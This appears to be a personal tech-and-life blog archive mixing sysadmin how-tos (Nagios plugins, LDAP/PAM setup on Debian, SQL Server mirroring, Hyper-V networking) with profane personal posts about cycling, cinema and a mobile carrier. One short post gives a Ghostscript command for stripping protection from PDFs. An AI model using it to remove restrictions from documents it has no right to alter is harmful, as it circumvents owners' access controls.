What of IT?

Barracuda Health Monitoring with Nagios

2011-12-07T15:57:00.001Z

Ive written a few plugins that check the health of a Barracuda SPF appliance. They're in (bad) perl but seem to do the job pretty well

The first, to check the RPM of the CPU and System Fans has been accepted into the NagiosExchange site and is listed as:

http://exchange.nagios.org/directory/Plugins/Hardware/Others/check_barracuda_fans/details

The others, which check the 3 mail queues, and the CPU temperature have been submitted but not yet approved.

I'll update here when they are released.

Changing default editor to vim

2011-11-22T09:25:00.001Z

Run the command below:

sudo update-alternatives --config editor

Then select vim.basic or vim.tiny from the menu presented

Copy SSH Key to Server in one command

2011-11-21T16:36:00.001Z

Use this technique to copy the SSH key and add it to the authorized_keys file in one command

ssh-copy-id -i .ssh/id_dsa.pub username@remotehost

Pop in your password and you're done.

Sage Payroll 2011 Won't Start

2011-03-21T09:57:00.001Z

Today I encountered a problem with Sage Payroll 2011 v17.00.029, when started, the program would display the splash screen and successfully run the first run wizard (asking for Company name, Address and Tax District to be used when creating defaults etc.)

Once this completed, the application appeared to close (which I assumed was normal). On next startup, it asked me to select the company I had created and login (using the default MANAGER account and no password), selecting this and the correct date for processing using the date picker, then clicking OK, the application then crashed out.

The solution to this was to change the region that the system was running under, I had accidentally set it to US using the unattended installation disc I created, setting this to UK and rebooting solved this problem and allowed the application to run successfully.

This can be diagnosed quite easily by inspecting the date format in the date picker textbox, i.e. today it should read 21/03/2011 but instead was reading 03/21/2011. I think this might be a design flaw in the Sage application as the date picker successfully calculated the week-end number (50 in this case) but was unable to execute the program. I believe that Sage have no intention to fix this as it would require a lot of effort for little reward so be careful if you are using a non-EU cloud service for your Infrastructure as a Service or if you have multiple geographic locations.

Unprotect PDF Documents

2010-08-21T18:59:00.001Z

install GhostScript then run this command to unprotect PDF

gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf

Posted via email from Daniel's posterous

Linux Guest VMs on Windows Server 2008 R2 Hyper-V Failover Cluster

2010-08-18T08:17:00.001Z

If you are deploying any Linux VMs on a Windows Server 2008 R2 Hyper-V Failover Cluster (and I assume a Hyper-V R2 failover cluster) there is a problem I have identified with them and their networking. I have replicated this on Debian Lenny and Red Hat so far.

If in your failover cluster, you have the node hosting the VMs fail, when they failover to another node in your cluster, you will lose networking on them. I believe that this is caused by the MAC address changing when they move over to the other node. Networking is not actually "lost" but the ethernet interface will have incremented, so eth0 will become eth1 assuming that you do not have an eth1 already, in this case I haven't tested what happens yet. To solve this (on debian) you need to edit /etc/network/interfaces and change any references to the broken interface to be set to the new interface, identifiable by running ifconfig -a

Then execute ifup eth<new>, where <new> is the new number you found from ifconfig -a and set in /etc/network/interfaces.

I believe this problem is preventable by setting the MAC address(es) to be static in either SCVMM or in Hyper-V manager. If you are using Failover Clustering and especially if you are using Cluster Shared Volumes, I *strongly* recommend that you use SCVMM or the version of SCVMM found in System Centre Essentials 2010 Plus. It makes managing them a lot easier than using Failover Cluster Manager, and a lot safer than using Hyper-V Manager.

I am carrying out further tests on this configuration to see if only static MAC addressing is required or if MAC spoofing is also needed. Multiple interfaces will also be tested.

Hope this helps someone

Posted via email from Daniel's posterous

Voice - Missing, Reward offered

2010-07-28T08:39:00.001Z

So this morning I've woken up and discovered that I've lost my voice. I have no idea what caused this as I didn't do anything differently nor am I feeling any more unwell (I've had a bit of a cold but I don't think that would do it)

It's quite a peculiar situation for me, when I'm talking to someone I can hear my proper (or at least my perception of it via bone conduction) voice in my head but what comes out is a complete whisper, I can raise my voice but it either feels like I'm shouting through treacle or leaves me exhausted.

So, if anyone phones me today I think I might just lay on some heavy breathing and make them think that they've gotten a wrong number.

Posted via email from Daniel's posterous

Plumbing.

2010-07-10T17:55:00.001Z

Things I have learned today (or why I am damp and smell a bit like the
plumbing counter at a building suppliers)

1. Some plumbing is easy.

2. I am better at plumbing than I thought.

3. Plumbing is called a wet trade for a reason.

4. Toilets are a *bastard* to work around

5. The plumber that fitted our house out is a moron who I will *drown*
in what I had to take care of today if I ever meet him.

6. B&Q staff know fuck all squared about plumbing.

7. My toilet now no longer leaks over the floor but it cost me £60 in
parts and a tool to fix.

8. The smell at a plumbing counter at a builders suppliers is
"Plumbers Mait" it's a sticky, never setting mastic compound that is
waterproof and incredibly sticky.

I am now quite pleased with myself and am having some hot tea to
celebrate. I may or may not try to consume my own weight in Jaffa
cakes.

Posted via email from Daniel's posterous

London to Paris Day 3 - The final leg

2009-07-30T09:53:00.001Z

After having a very pleasant and pleasing day 2, day 3 started in a very similar manner, a bit cold but otherwise nice.

After cycling through a very sleepy village we came back out into the countryside and another few hill climbs.

What made this a bit special was cresting the hill and seeing a hot air balloon, no wait 2, 4, 7. 7 hot air balloons all at different heights, just rising above the peaks of some hills in the distance, the sun still quite low in the sky and some mist on the ground. It was stunningly beautiful, like a postcard.

The first rest stop came up on me very unexpectedly, it felt like I had only started and it was already time for a break. A quick stop for more bananas, water, and some raisins and I was off again. Spent a lot of the morning alone, which was incredibly pleasing and relaxing, I was truly able to relax and not think about anything, just the mileage that I was covering as the road zipped past at what several months earlier would have been impossible speeds.

As I stopped for a breather, I neglected to look ahead at the hill that was approaching, otherwise I would have just powered on up it and kept up my momentum. As I was a silly daniel, I didn't do this and had to walk for a bit after struggling with the first hundred feet or so. By stopping like this I was caught up by another rider, a girl from Italy who became a riding buddy for the next stage and a half.

Whilst I was chatting to her I found out that I was the marker for several of the other riders and that they were trying to see who could keep up with me, I was easily spotted as for the 2nd day I had another brilliant white jersey on. The next rest stop also crept up on me and a pack formed as we waited for a few other riders that wanted to ride with us, for a bit of sport etc. I found this quite amusing and rode fairly close to the middle of the pack.

Eventually I got tired of how slowly they were actually travelling as I found it quite fatiguing compared to travelling at what I called my "natural" pace so I zipped off ahead and left them to it. I must not be a very social person as I much preferred my own company and enjoyed the cycle much more.

The route took an unexpected turn and we ended up on very hilly terrain, I started to struggle a lot having wasted a lot of energy getting back up to speed after exerting myself by pootling along at a very inefficient (for me) pace.

The hills became daunting and at every part of the road it felt like the bike was being pulled down into the road and it took incredible exertion in order to make it move, on one hill I had to get off and push it to the top.

I thought I wasn't going to make it and that the next rest stop couldn't come soon enough. This was, as usual at the top of a hill. When I stopped here, I grabbed whatever food was available, it was getting more and more scarce as the tour was coming to an end and they had calculated it reasonably accurately.

I was egged on and left, knowing that there was an "epic" (their words, not mine) climb before lunch. This had me demoralised a bit, but a quick downhill blast on good tarmac cheered me up no end and we were soon back on the flat. I kept a lookout for anything that looked even similar to Paris but nothing appeared.

The climb that was described as epic actually fitted the description, it was a series of alpine style hairpins that ascended about a thousand feet over the course of about 6 miles. For some reason I had no problem with this climb and the scenery was, as I am sure you are sick of hearing, beautiful. There was an almost middle eastern feel about it, lots of red rock (that I am assuming was sandstone) and an incredible heat, apparently one of the other riders clocked it at 38oC.

We arrived into a small city/large town and circled around what I am assuming was the outside of the city centre, lunch was at a golf course on the outskirts and was delicious (do you sense a recurring theme here?) and much appreciated even though the service was a bit disorganised.

During lunch there was a mini-briefing about what we were going to do that afternoon, especially with the entrance into Paris. After this, we all set off, largely as one unit and set about making it to the first stop, where we would regroup and set off again as one unit so that our entry to Paris was more condensed and organised, rather than very spread out as it had been over the previous days and rest stops.

The first hill was quite long and steep but nothing too stressful, what followed was a very steep and hairy descent through a village that must have been superglued to the side of a hill and had quite a few cobbled sections. Now as you can imagine, cobbles on a bike are bad, cobbles on a road bike, with high pressure skinny tires, no suspension and a saddle that felt like it was carved out of rock was pretty bad. Especially if your arse is already busted after a fall and 2 days of cycling on same saddle.

The regouping point was in a forest with a cycle lane through it, again very very pretty. Fruit was getting very low and had to make do with 2 scabby bananas and a half handful of the ever present raisins. Setting off together we were finally on the outskirts of Paris, this leg was a bit stressful and tougher than it could have been as there was a lot of jockeying for position nearer the front, lots and lots of traffic lights and a general uphill grind. As is usual with uphill sections, there is a downhill section that followed, made all the more interesting by the traffic, which being Paris at about 3.30 was backed up, overtaking cars on a downhill section with less than useful brakes and even less useful common sense is not to be recommended. It is however incredibly exhilarating and something you should probably do once at least (you may only get to do it once as it could be your last)

We grouped up once again at the Bois Du Boulogne, in paris traffic proper. This was to be our final stop before the Eiffel tower. This was an interesting leg navigation wise as there was a bunch of 80 tired cyclists, Parisian traffic, Parisian streets and a lack of signage. We all managed to make it through without much incident, I think one woman managed to hit a parked car and fall off but that was about it. We came down a hill and in front of us was it. The Eiffel tower, we had made it. It was an absolute site to behold and there was much ringing of the bicycle bells. It didn't quite stop there however, as we had to cycle around it, staying on the road until the entrance to the grassy area at the back. Upon arrival bicycles were promptly dumped on the grass and Champagne was distributed (well sparking wine that was quite warm)

After being chased off the grass by the park warden and interrupting someones wedding photos (very very very sorry about that) we had to get back on the bikes once more and head to the hotel. The bikes were popped into the back of a van and that was the last that we heard of them.

And as luck may have it, that is the last that you will hear about the London to Paris cycle on this blog, unless of course I change my mind and decide to do it again.

Posted via email from Daniel's posterous

Trip To The Cinema

2009-07-16T11:54:00.001Z

So last night, my wife, her nephew and myself decided to go to the cinema and catch the latest Harry Potter, it should have been a relatively painless experience but turned out to be very far from the truth.

Whilst the cinematic experience was in itself perfectly satisfactory, a good film, no interruptions in viewing by the projectionist, sound direction and levels all nicely set etc. The actual cinema experience left an awful lot to be desired.

Firstly and most importantly was the other patrons of the cinema, I was abused verbally and physically in the queue. I had to actually push someone back and basically tell them that if they didn't move their fucking heffalump arse I would move it for them. we had decent seats (i.e. not craning up or to either side to see the screen) but this had the effect of being right at the aisle, if one fucker went up and down those stairs 20 of them did.

And what the fuck is it with the mobile phones? Do they have to have 12 million candela screens? Jesus H Christ, the guy in front of me actually answered his phone with "No I can't talk, I'm in the cinema" then proceeded to have a 5 minute conversation. Take that shit outside, you aren't that fucking important (believe me, he was no brain surgeon)

Every 30 seconds some cuntbag in my field of vision had their phone out and I was half blinded. Yes, you iPhone users as well, turn the fucking brightness down if you feel the need to use it in a very dark room. The only time I had my phone out was to make sure that it was on silent and that I had turned the vibrate off, does no one have any consideration for the other poor bastards that paid £6 for their tickets?

Secondly is the price. Last night cost about £35 all told for 3 people, a bag of sweets and a medium coke each. £35... I'm sorry but for £35 I would rather get a bluray disc, load it up into my excellent cinema system and have a few beers/ciders out of a Glass. It's no bloody wonder I don't go to the cinema anymore and paid out reasonable money for good kit at home. I'm just going to wait for stuff to hit bluray (or a HD Download :) ) and watch it there.

So all you inconsiderate cinema users, you can all go and fuck off.

Posted via email from Daniel's posterous

London to Paris - Day 2

2009-07-11T11:54:00.001Z

So after a very long and stressful first day cycling through the English countryside (which whilst quite pretty was a very gruelling cycle) we hopped on the ferry and made it to France in one piece.

Had a fantastic breakfast in the hotel, and made sure to stock up on starchy foods and generally fill our faces with french pastries and other goodies. After breakfast I decided to go and get my bike ready after it had been taken off the van it had stayed in that night, bringing my helmet, water bottles and gloves down with me to the grassy area outside the hotel (which was full of dog shit but anyway) I pop my stuff down and go looking for my bike. I then come back to the footpath and spend 40 minutes looking for my water bottles, did I leave htem in the hotel? did I leave them on the coach (no chance of ever seeing them again but I had them in my hand that morning) did I leave htem in my day bag with the other stuff that I might need during the day?) no, they were not in any of these places.

They were in my helmet along with my gloves, exactly where I had left them, did I mention that we had a very long day previous to this?

We start cycling and I immediately find a problem, my foot is starting to hurt again and we hadn't even covered a mile, fortunately we had a stop after 2 miles at a cycle shop so people could pick up anything that they may have forgotten to bring. I managed to pick up a pair of adidas cycling shoes, in my size, for €32 which considering that they usually retail for about 3 times that I was quite pleased with.

The difference they made was unreal. I was able to put much more power down, more efficiently and my foot didn't hurt at all, €32 well spent in my book.

The morning's cycling was very pleasant indeed, with undulating terrain but travelling through a very picturesque part of France. The weather was ace as well, no wind at all but a very pleasant 33oC. Now you might think that this is unbearably warm, but it was very pleasant as even during the very fast downhill sections (where my motto was Tuck in, Fuck off) you didn't cool down much at all, but the lack of humidity made for very pleasant cycling weather.

Coming in right (10-15 min out of 3 hrs) behind what I would class as the Elite Cyclists (guys that do it every day of the year and spent more on their bikes than I did on my car) I was very pleased with my progress and was able to spend a bit more time recuperating at each stop.

Lunch, as the previous day was at the top of an incredibly long hill, not as steep this time however, but due to a headwind I had to get off and walk part of it.

After lunch we had a long downhill section to begin with followed by a series of hills. I think I ate the wrong things during lunch so was very tired and lacking in energy for the first 45 min or so, I don't think I had enough fruit for the fructose and other sugars that would have given me the necessary boost and kickstarted the oul legs again.

The next leg of the journey was absolutely magnificient, travelling through the rolling hills of the french countryside. I think that the elite class were missing out on some of this as they were driven to be first to arrive and would just keep the head down and cycle straight through, without taking a few minutes to appreciate the stunning beauty of the area. Unfortunately the jersey I was wearing that day didn't have pockets otherwise my iPhone would have been accompanying me and there would be a multitude of photos of just how beautiful the area is.

The next rest area was in a sleepy little village, probably a population of maybe 600. There was a wedding on and everyone in the village was out enjoying the good weather and the atmosphere. A stop at a local bar let me meet a few of my fellow travellers and I made good company straight away with one group in particular. They had the very very good drugs... A Doctor, a Pharmacist and a Psychiatrist, I mean they were packing everything, antibiotics, max strength codeine, the strongest painkillers without needing a controlled prescription etc. Good people to know. One of their party was really suffering though and was having a hard time making it through, she hadn't eaten since the ferry trip the previous evening and was having bouts of vomiting and diarrhea. She was absolutely driven to complete it though as she had lost her husband the previous year and was doing it for an arthritis charity that really looked after him.

Setting off from here there was a very much appreciated downhill section and some more rolling hills, nothing too strenuous and arriving at the hotel at 3pm or so was a welcome relief from the 7pm the previous day.

All in All a very good day and felt like I had done quite well!

Posted via email from Daniel's posterous

London to Paris cycle challenge - Day 0/1

2009-07-06T12:23:00.001Z

Now that I'm back and settled after a few days in Edinburgh after completing the London to Paris cycle I've had time to reflect on a few things about it and life in general.

I'm going to write about each day of the cycle and what the terrain is actually like.
Day 0 Getting our bikes and getting to the starting line.
Interesting. Arrived in Stanstead after a seriously early flight, ran into an old friend at baggage collection but didn't have time to catch up properly. Discovered we did not have our visa card (which has since been reported missing) and had to make a cunning plan about our hotel in Edinburgh as they normally pre-authorise your card in case you rack up a big bill. Worked out fine in the end. Hopped on the stanstead express and was very glad we had sprung for the first class tickets as it was rush hour and the "poor boy" carriages were heaving. Got into Liverpool St. and immediately on to the tube to head to Wimbledon, arrived and was amazed at how busy the area was. Battled through the throngs of people trying to get the buses up to the tennis. Got our bikes from the very nice (and ridiculously cheap) people at TriAndRun (www.TriAndRun.com ) fitted perfectly even though he only had our heights and weights. Now was fun, attempting to navigate the tube, train and road networks with bikes and large rucksacks to get to our hotel in Bexley several stops, waits and a reasonable walk later we arrive in what is essentially a village. Very pretty and nice and quiet, until we get to our hotel, which may as well have been sitting ON the motorway. Had some severely overpriced lunch and went for a sleep. Woke up and went to a local pub for a very cheap (but microwaved Iceland or similar) dinner, which was reasonably filling and didn't taste "bad" Early night, very hot room.

Day 1 London (Bexley) to Dover
This was initially meant to be London to Newhaven which was a bit shorter, the ferry company messed about the timings and we had to reroute our ferry via Dover instead.
Started off from the holiday inn after a lightish breakfast and arrived for the briefing. Got told, "today is going to be a bit stressful as we have a fixed deadline that we don't control, if you don't make it quick enough to the lunch stop you WILL be picked up by the back van. If you are not quick enough to the rest stops you WILL be picked up by the back van" etc. Got some more information and it decided to start raining, on go the ponchos.
The first leg was great, 20k in we had a stop with fruit water etc, set off again after about 15 min or so and immediately met some really rough terrain, bear in mind that these are proper road bikes we have with 0 suspension and pretty much no padding on the saddle, think sitting on the crossbar with a small piece of leather under you and you wouldn't be far wrong.

Lots and lots of uphill sections, really shit Tarmac and potholes, they neglected to tell us we would be cycling through the south Downs. Which in itself is a lie, it's all bloody ups.
On one of the ascents I drop down on the front chainring and the chain pops off (my fault, don't downshift under heavy power) binds up the cranks and turfs me off the bike, I managed to stay upright but my foot dragged under the pedal for a good 20 feet, I also managed to fall quite hard onto the crossbar with the associated injury, pain and indignity that it causes, needless to say I had a very interesting bruise that's still a bit painful and lumpy. At the top of one of the hills the medic passed me and gave it a look over, said it was likely sprained and my heart sank I thought i was going to end up having to pull out after not even lunch on the first day. Made it to the rest stop after sending laura on ahead, got my fruit and a small rest then set off again. Covered about 7 miles and couldn't make my foot work properly so waited for recovery by the Big White Van, got chucked in the back with the bikes as another couple were too slow/tired or something.
Got out at the next rest stop and got seen by a doctor who gave me some painkillers, note you CAN take ibuprofen and paracetamol together, and yes they do work VERY well together, got back on the bike and after a mile or two felt like a new man minus the very painful buttocks and groin, it didn't take the pain out of their but it did take the edge off. Another slightly misleading description of the terrain followed, "There's a bit of a hill before lunch" a bit of a hill. That would imply, to me at least, that it would be on the order of 4/5 in 100 not a 1 in 10 that went on for 4km. Managed to catch up with laura and passed several people, felt quite pleased with myself at not getting scooped by the van even though I left at the last possible minute from the rest stop.
Got to lunch and was severely disappointed, vegetarian with only a tuna salad for anything resembling meat. As I had taken so long to get there I only had about 20 minutes before we had to set off, whereas most of the others had about 50-90 min. The afternoon continues in the same vein, except the road surface worsens, really stressful trying to make a bike go up a really bad road as it literally drains the energy and willpower out of you. This time I see a worrying pattern forming, we are crossing valleys, so a downhill section that you can't really fly down as the road is rubbish, a bit damp, covered in gravel and quite windy, then it's counterpart on the other side of the valley, a long ascent on the same road surface, not good at all. Made worse by inconsiderate moron drivers who have acres of space on the other side of the road and yet still managed to hit Laura with their wing mirror.
Made it to the last rest stop near the back of the middle group of riders, a nice farmhouse with a grassy area to lie down on. Was informed that there was only another 20K to Dover. Did some mental calculations and despite my geography being rubbish figured out that we were still a reasonable height above sea level and that Dover, being a port, HAD to be at sea level and that meant one thing to me, more downhill than uphill and we were near food (okay, 2 things) hopped on the bike again and went like the clappers. Arrived in Dover after passing several people and forming a small platoon of riders on the outskirts of the town managed to make it to the port itself in a reasonable time and rolled in accompanied by the sound of bicycle bells from or group and cheers and applause from the 30 or so that had already arrived. Staggered on to the ferry after a small wait at the terminal for the later riders and the vans etc. Had a nice meal with everyone, spirits were a bit down as the day was so strenous and miserable.
Off the ferry at calais and back on the bikes to literally travel 2 or so kilometres to actually move 100m, stupid road closures and fences meant we had to drive around the whole terminal area. BTW Calais is very industrial and is full of very industrial buildings and not very pretty.
Got on the coach to take us to Dieppe, sat at the top of the stairs with our day bag and helmets, drifted off to sleep a few times but was startled awake by the fear of falling off my seat and down the very steep coach stairs. Got to the hotel after 2 1/2 hours and fell straight asleep smelling like a corpse and feeling like one as well.

Thanks today go to:

Dave the medic for looking at my foot and giving me temporary relief with some ibuprofen gel and lending me his Allen keys to lower my saddle.

Ian the doctor for giving me lots of painkillers and basically telling me not to be such a pussy and get back on the bloody bike.

Bob for making ne laugh by arriving at Folkestone and having to get on the train to Dover after he misread the directions.

Everyone else in the group for being really nice, supportive and friendy when I was lying on the grass at the rest stop with my busted foot.

And as always, my fantastic wife Laura, always pushing me on, being encouraging and always supportive and watching out for me.

Day 2 will follow soon as this has taken me about an hour to write on my iPhone.

Posted via email from Daniel's posterous

Image Twitter test

2009-07-04T17:16:00.001Z

Sent from my iPhone

Posted via email from Daniel's posterous

O2 iPhone 3GS - WTF

2009-06-09T07:01:00.008Z

**** DISCLAIMER ****
This post contains profanity (lots of), reminiscing, dream sequences and full frontal male nudity.
One of the previous items was a lie. You decide if you want to take that chance.

Well O2,
it looks like you've done it again. You've gone back to being an incompetent lumbering giant in a marketplace that rewards agility.

I can't actually believe that you don't want to take my money for a longer period of time, I'd gladly sign up to a rolling 24 month contract if every time the new release of the iPhone is made available. You really don't get apple fans do you? You saw how good the hardware/software was, how EVERYONE and their dog has or wants one and you decided to royally screw them.

Never mind the fact that it wasn't just going to be my iPhone contract that you would be getting extended, it was my wife's, several of my colleagues and I was -> <- close to recommending that we use the iPhone and the O2 network in the company I work for, for all the sales, pre-sales and marketing staff.

Needless to say that this won't be happening with your current policies of screwing the customer.

If that wasn't bad enough you want to charge an extortionate amount for tethering ability. Yes I do class a doubling of my monthly bill extortion, if I have my laptop with me I'm not likely to be using the data connection on my phone. Now you can pretty much bet that I'll be streaming youTube videos all the live long day, hell, I might not even WATCH them.

Somewhere in my mind I think the conversation between O2 and we went something along these lines

~~~~~~~~~~Wavy Lines for Reminiscing~~~~~~~~~~

2 YEARS AGO:

O2: Hello Customers Me: Hello O2, two shiny iPhones please.

O2: That will be £600 and £80 per month for 18 months

Me: Okay, that's great, thanks.
Me: Yay, iPhone baby, shame it's only 2G but fuck it, I've got an iPhone

LAST YEAR:

O2: Hello Loyal Customer
Me: Hello O2, another two shiny iPhones please.
O2: Thanks for trusting us with an important purchase, here, have this iPhone "free" and have this one substantially discounted. I'll just extend your contract out starting today
Me: That's great, I don't mind that at all as the cost to me directly is largely invisible and I don't mind giving you money each month
~~~~~~~~~~End Reminiscing~~~~~~~~~~

~~~~~~~~~~Future Dream Sequence~~~~~~~~~~

SOMETIME IN THE NOT TOO DISTANT FUTURE
O2: Hello You Gullible Shithead Fucktard
Me: Wait, Something's not right here, this doesn't normally start like this?
O2: That's right, I've decided to stop taking your crap
Me: But I give you CASH MONEY EVERY MONTH for you to take my crap and let me use your service, I think that's how capitalism works, right?
O2: Yeah, that's largely how it goes, but we've decided to really fuck you over this time, we know you paid for your first iPhone, then we got you hooked on 3G and going faster
Me: Yes, and I want to continue this trend, and the trend of giving you money for this service
O2: We know that, but we also know that you *really* want this new one with the compass and the camera and the "ooooh shiny"
Me: Okay, let's just gloss over this, say I want to use my laptop with me as well.
O2: That's another £30 a month for, realistically, a limited service.
Me: Wait, what? I PAY you for data already, and it's not a small amount either!
O2: Yeah, well, too bad. Fuck You.
Me: You know something, I actually wouldn't have minded but saying as you don't want to play ball with me, you obviously don't want my money and you don't want my recommendations to all my friends that O2 are actually pretty good to deal with.
You see, I'm not a silent complainer, I'm not a silent complimenter either. If I like your product, and your company I WILL tell people. People that make decisions about where to spend money. But on the otherhand, if you or your products piss me off I've got a fairly loud voice and I like to shout.

Me: @O2 Your silence is deafening. You were very noisy on WWDC day but strange, I can't hear anything now...

~~~~~~~~~~End Future Dream Sequence~~~~~~~~~~

O2 really haven't thought this through at all, they must realise by now that the iPhone has a 12 month lifecycle but they decided they want an 18month contract. This doesn't work unless you play ball with your customers and let them roll it over, which the majority of them will gladly do.

I Hope someone from O2 reads this and passes it to the appropriate people, you've really gone and fucked yourselves. I hope you are ready for the backlash. http://search.twitter.com/search?q=o2fail kinda puts it in perspective at a quick glance to see how badly you've screwed up. I don't think it's going to get much better either as today goes on.

so O2, to sum up:

Fuck You.
Fuck You Very Much.

Directory Services could not start Error 0xc000006a

2009-06-08T08:52:00.002Z

This error can also present if your system state backup of your domain controller exceeds the tombstone lifetime of your domain, this defaults to 180 Days.
The exact error message you will see is


Directory Services could not start because of the following error:
The specified network password is not correct. Error Status:
0xc000006a. Please click OK to shutdown this system and reboot
into Directory Services Restore Mode, check the event log for more 
detailed information.

Moral of this story is to ALWAYS CHECK YOUR FREAKING BACKUPS and make sure they are done regularly and inspected regularly.

This mistake cost me 2 days of working on this. I should have checked the date modified on my system state restore.

LDAP Authentication in Debian

2009-05-29T14:55:00.007Z

Steps for getting LDAP authentication working on Debian

This post brought to you courtesy of SzlWzl

Sources:
http://www.adminspotting.net/articles/windows/linux-and-active-directory.html
http://moduli.net/sysadmin/sarge-ldap-auth-howto.html

Aim:
To get all linux users authenticating from our Active Directory implementation which is running on Windows 2003R2.

On the Active Directory Server:
From Add/remove programs->Add/Remove Windows Componenets->Active Directory Services. Install Identity Management for UNIX and reboot

Create an user which we're going to use to bind. I have called mine adlookup which sits in our Service Accounts OU.

CN=AD Lookup,OU=Service Accounts,DC=DOMAIN,DC=com

It is very important that the password doesn't have any special characters in, I had to change the domain policy to set it as apparently there can only be one password policy per domain.
In Active Directory Users/Computers either create a new group or choose an existing group for your users, right click and choose properties.
Add your users
Choose Unix Attributes and select the correct NIS domain.

Now select a user, right click on them and select properties
Choose Unix Attributes
Select the NIS domain, Home Directory, shell and primary group name

Linux Client:

apt-get install ldap-utils openssl libpam-ldap libnss-ldap nscd

edit the /etc/ldap/ldap.conf to look like this
run

ldapsearch -x -W -D "cn=AD Lookup,OU=Service Accounts,dc=DOMAIN,dc=com" -LLL "(sAMAccountName=adlookup)"

then enter your password and it should return the correct details, if it does then you're brilliant :)

mv /etc/libnss-ldap.conf /etc/libnss-ldap.old
nano -w /etc/libnss-ldap.conf

and make it look like this:

host IPOFADSERVER #Important - it must be the IP and not the dns entry
ldap_version 3
binddn CN=AD Lookup,OU=Service Accounts,DC=DOMAIN,DC=com
bindpw PASSWD #nospecialcharacters
scope sub
timelimit 30
nss_map_objectclass posixAccount User
nss_map_objectclass shadowAccount User
nss_map_attribute uid msSFU30Name
nss_map_attribute uniqueMember msSFU30PosixMember
nss_map_attribute userPassword msSFU30Password
nss_map_attribute homeDirectory unixHomeDirectory
nss_map_objectclass posixGroup Group
pam_login_attribute msSFU30Name
pam_filter objectclass=User
pam_password ad
base OU=YOUROU,dc=DOMAIN,dc=com # make sure you limit this to only what is required as I had strange errors
rootbinddn CN=ADMINUSER,CN=Users,DC=DOMAIN,DC=com #What user should root join as to enable passwd change etc
pam_groupdn CN=WHATGROUPAREUSERSIN,CN=Users,DC=DOMAIN,DC=com #what group must users be in to enable login

The contents of libnss-ldap.conf and pam_ldap.conf are identical in my setup so just link them together to save any additional work:

mv /etc/pam_ldap.conf /etc/pam_ldap.old && ln -s /etc/libnss-ldap.conf /etc/pam_ldap.conf
nano -w /etc/libnss-ldap.secret # enter in your admin password
ln -s /etc/libnss-ldap.secret /etc/pam_ldap.secret #same passwords
chmod 600 /etc/libnss-ldap.secret # make sure this is readable by only that user

Edit your /etc/nscd.conf file and change the following parameters:
I have chosen an arbitrary size of 500MB but I found that there were some crazy assertion errors coming in if I left the defaults such as this openldap-2.4.11/libraries/liblber/sockbuf.c. I think it must be to do with the size of the cache in nscd but am not sure. I also got an error about "invalid persistent database" when this was set too large.


 max-db-size             passwd          524288000
       max-db-size             group           524288000
       max-db-size             services        524288000

Now you have to tell pam how to get it's users so make your /etc/nssswitch.conf look like the below, it is very important to get the order right, compat must come first and then ldap. I found that my machine wouldn't boot if it was trying to do the ldap first.


#passwd:         compat
#group:          compat
#shadow:         compat
passwd:         compat ldap
group:          compat ldap
shadow:         compat

You must now make nsswitch readable by all so:

chmod 644 /etc/nsswitch.conf

Now you can test this is working by doing:

getent passwd USER.NAME # this must be a username you have enabled up there ^

/etc/pam.d Common Files

Debian has a series of files in /etc/pam.d appended by common- at the beginning of their names, which are included by the other files in that directory for specific services. We can tell PAM to use LDAP for all of these services by modifying these common files.

In /etc/pam.d/common-password, comment out and replace:


password required pam_unix.so nullok obscure min=4 max=8 md5

or:


password required pam_cracklib.so retry=3 minlen=6 difok=3
password required pam_unix.so use_authtok nullok md5

with:


# try password files first, then ldap. enforce use of very strong passwords.
password required pam_passwdqc.so min=disabled,16,12,8,6 max=256
password sufficient pam_unix.so use_authtok md5
password sufficient pam_ldap.so use_first_pass use_authtok md5
password required pam_deny.so

Read the pam_passwdqc man page for more about parameters you can give to it. In /etc/pam.d/common-auth comment:

auth required pam_unix.so nullok_secure

replace with:


# try password file first, then ldap
auth sufficient pam_unix.so
auth sufficient pam_ldap.so use_first_pass
auth required pam_deny.so

In /etc/pam.d/common-account comment:

account required pam_unix.so

replace with:

# try password file first, then ldap
account sufficient pam_unix.so
account sufficient pam_ldap.so
account required pam_deny.so

And this line to /etc/pam.d/common-session:


session required pam_mkhomedir.so skel=/etc/skel/ umask=0022

This should now be it, I haven't quite got automatic sudo working yet or auto mount of the home dir from an nfs source but that is the next step :)

Troubleshooting:
Password you bind with must not have special characters
In nscd.conf you must have a decent sized cache file
Your unix attributes must be correct
check that your getent passwd is working and that your ldapsearch is working

Database Mirroring for Non Domain MS SQL Servers

2009-05-11T15:13:00.002Z

Configuration of Database Mirroring for Non-Domain based SQL Servers

Assumptions
2 SQL Servers running SQL 2005 SP1 (or greater)
Network connectivity between them
System privileges to create user accounts and change service log on credentials
Databases to be mirrored set to FULL recovery model

Initial decision is which server is going to be your primary

Once this is decided, create a new account with a strong password, that you will run SQL Server and the SQL Server Agent with
Add this account to the group SQLServer2005MSSQLUser$SERVER-NAME$SQLINSTANCE

Set the services "SQL Server ($SERVERINSTANCE)" and "SQL Server Agent ($SERVERINSTANCE)" to run under this account

This should be done on BOTH SQL Server Machines

On BOTH machines, run the following T-SQL queries to build the Mirroring Endpoints

CREATE ENDPOINT mirror
STATE = STARTED
AS TCP
(LISTENER_PORT = 5022)
FOR DATABASE_MIRRORING
(AUTHENTICATION = WINDOWS, ENCRYPTION = SUPPORTED,ROLE = ALL)

Now, on the PRIMARY, select the database to be mirrored and back it up (Full Backup), copy this backup to the SECONDARY server and restore using the "WITH NORECOVERY" option This will leave the SECONDARY database in the Restoring state.

Back on the PRIMARY server, right click on the database and select Tasks > Mirror

Run through the "Configure Security..." wizard
Do not use a witness server
You may need to log on to the SECONDARY SQL Server using appropriate credentials. It will automatically detect the endpoint created earlier.
When prompted for a user for the principal and Mirror, DO NOT ENTER ANY DETAILS
The Mirroring Configuration Wizard will complete with 0 errors or Warnings.
Select Do Not Start Mirroring

Still on the primary server, select the Principal server address and change it so it is a FQDN (including a domain)
for example server1.sqltesting.com:5022
For the most likely to succeed option inspect the Mirror server address.

Once this is set, hit Start Mirroring. You will get an error message that the mirror database has insufficient transaction log data to preserve the log backup chain of the principal database...
Hit OK on this BUT do not ok or cancel off the datbase properties page for the PRIMARY database. This indicates that they can successfully communicate.

On Management Studio on the PRIMARY, right click on the database and select tasks> Backup
In the backup type, select Transaction Log and back it up to an appropriate location.

On the SECONDARY server,right click on the database to be mirrored and select Tasks > Restore Transaction Log
Select the path to the transaction log backup from the PRIMARY server.
Restore this ensuring to select the WITH NORECOVERY option on the options screen.

